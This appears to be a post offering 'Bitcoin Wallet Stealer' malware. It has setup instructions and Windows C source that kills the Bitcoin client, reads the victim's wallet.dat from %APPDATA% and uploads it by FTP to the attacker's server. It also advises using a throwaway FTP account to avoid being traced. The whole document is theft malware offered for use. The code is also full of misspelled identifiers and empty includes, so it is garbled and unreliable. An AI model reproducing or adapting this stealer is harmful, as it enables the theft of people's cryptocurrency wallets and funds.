Bitcoin Wallet Stealer Compiled by Satan Compiled File - NOT EXIST Current Problem Anti Virus still picks it up as an a miner trojan but works well Run the file and edit the settings as required FTP Host:(where you want the wallet.dat sent) User name: (FTP user name) Password: (FTP password) I still recommend creatig a temp ftp account at of the free web hosts in case of back connect. Source Code: #include #include #include #include #include #include #pragma comment(lib, "wininet") void killprocess() { HANDLE hProcessSnapShot = CreteToolhelp32Snapshot(TH32CS_SNAPALL, 0 ); // Get the process list snapshot. PROCESSENTRY32 PrcessEntry = { 0 }; // Initialize the process entry structure. ProcessEntry.dwSize = sizeof( ProcessEntry ); // Get the first process info BOOL Return = FALSE; Return = Process32First( hProcessSnapShot,&ProcessEntry ); int value = _tcsicmp(PrcessEntry.szExeFile, _T("bitcoin.exe")); if (value==0) { HANDLE hProcess = OpenPrcess(PROCESS_TERMINATE, FALSE, ProcessEntry.th32PrcessID); //Open Process to terminate TerminateProcess(hProcess,0); CloseHandle(hPrcess); //Close Handle } } while( Process32Next( hPrcessSnapShot, &ProcessEntry )); CloseHandle( hProcessSnapShot ); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { killprocess(); Sleep(40000); srand((unsigned)time(NULL)); // we get time to use for random seed int seedone=rand(); // seed one int seedtwo=rand()*3; // seed two times 3 int seedboth = sedone + seedtwo; // combine seeds to ensure random int // now we need to convert int to char char randomseed[99]; // make randomseed buffer at 99 to prevent overflow itoa(seedboth,randomseed,10); // use itoa, [int (seedboth), randomseed (random is now seedboth but in char), value (10 coverts to decimal) // did this so the wallet.dat file wouldn't be overwritten in ftp because of same file name char* appdata = getenv("APPDATA"); //Gets %Appdata% path char* truepath = strcat(appdata, "\\Bitcoin\\wallet.dat"); //Bitcoin file to steal //ftp connection HINTERNET hInternet; HINTERNET hFtpSession; hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); hFtpSession = InternetConnect(hInternet, "myftphost.com", INTERNET_DEFAULT_FTP_PORT, "myusername", "passisme", INTERNET_SERVICE_FTP, 0, 0); //ftp host, user, pass FtpPutFile(hFtpSession, truepath , randomseed , FTP_TRANSFER_TYPE_BINARY, 0); FtpPutFile(hFtpSession, truepath, randomseed, FTP_TRANSFER_TYPE_BINARY, 0); InternetCloseHandle(FtpSession); InternetCloseHandle(Internet); return 0; }